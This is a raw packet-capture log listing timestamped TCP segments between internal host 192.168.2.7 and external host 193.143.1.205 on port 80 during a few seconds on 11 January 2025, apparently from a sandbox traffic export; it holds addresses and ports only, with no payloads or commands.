Jan 11, 2025 06:39:20.868527889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868550062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868558884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868573904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868594885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868640900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868653059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868664980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868691921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868705988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868808031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868825912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868839025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868851900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868865013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868865967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868876934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868891001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868913889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.868959904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868979931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.868993044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869012117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869016886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.869024992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869036913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869055986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.869072914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869080067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.869085073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869097948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869131088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.869177103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869189024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869201899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869220972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.869240999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.869261026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869272947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869285107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869294882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.869317055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.869329929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.879595041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884532928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884551048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884569883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884582043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884593964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884598017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884607077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884620905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884645939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884655952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884656906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884685040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884697914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884711027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884737015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884766102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884778023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884789944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884803057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884814978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884816885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884855032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884903908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884916067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884928942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884941101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884947062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884954929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884963989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884968996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884982109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.884990931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.884994984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885008097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885020971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885030985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.885045052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885056019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.885057926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885071039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.885071993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885108948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.885219097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885231018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885241032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885252953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885265112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.885265112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885278940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885289907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885293961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.885303020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885319948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.885322094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885337114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885349035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885360003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.885361910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885369062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885375977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.885385036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885396004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.885397911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.885421038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.904560089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904573917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904583931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904644012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.904680014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.904761076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904781103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904793978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904808044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904817104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.904820919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904833078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904845953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.904850960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904865980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.904913902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904926062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.904946089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.919899940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.919934988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.919943094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.919948101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.919981956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.920041084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920054913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920067072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920078039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920089006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.920090914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920111895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.920146942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920159101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920170069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920181990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920183897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.920195103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920207024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.920207024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.920233011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.956763983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956783056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956801891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956815004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956820965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.956829071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956841946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956844091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.956856012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956887960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.956902981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.956903934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956918955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956931114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956950903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956955910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.956964970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956976891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.956984997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957010984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957025051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957037926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957066059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957078934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957092047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957104921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957125902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957171917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957185030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957199097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957211018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957217932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957232952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957259893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957273006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957284927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957297087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957297087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957313061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957329035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957343102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957375050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957459927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957473040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957485914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957494974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957524061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957607031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957619905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957631111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957643032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957659006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957665920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957676888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957679033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957693100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957705975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957717896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957726002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957747936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957763910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957777977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957804918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957809925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957823992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957834005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957848072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957874060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957886934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957899094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957901955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957926035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957941055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957959890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957973957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.957973957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.957988024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958017111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958018064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.958035946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958050966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958054066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.958065033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958091021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.958096981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958110094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958127975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.958142042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958153963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958178997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.958187103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958200932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958219051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.958225012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958261967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.958302975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958317041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958328962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958340883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.958350897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.958383083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.961765051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961798906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961812019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961824894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961838007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961838961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.961850882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961862087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.961864948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961884975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961894989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.961899996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961915016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961927891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961935997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.961940050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961951971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961962938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.961965084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961977959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.961977959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.961994886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.962011099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.962035894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.962035894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.962049961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.962061882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.962073088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.962084055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.962088108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.962096930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.962107897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.962110043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.962120056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.962133884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.962141037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.962167978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.993410110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.993428946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.993448973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.993460894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.993469954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.993473053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.993486881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.993489981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.993499041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.993510962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.993534088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.993546963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:21.219558954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:21.219722986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:21.651618958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:21.651675940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.205547094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.210788012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.210834980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.210869074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.210920095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.210927010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.210980892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.210983992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211020947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211054087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211069107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211095095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211147070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211150885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211184025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211230993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211236000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211271048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211303949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211345911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211355925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211395025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211414099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211431026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211462975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211479902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211497068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211532116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211549044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211585999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211620092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211633921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211654902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211688042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211702108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211726904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211760044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211766958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211798906 CET	80	49699	193.143.1.205	192.168.2.7
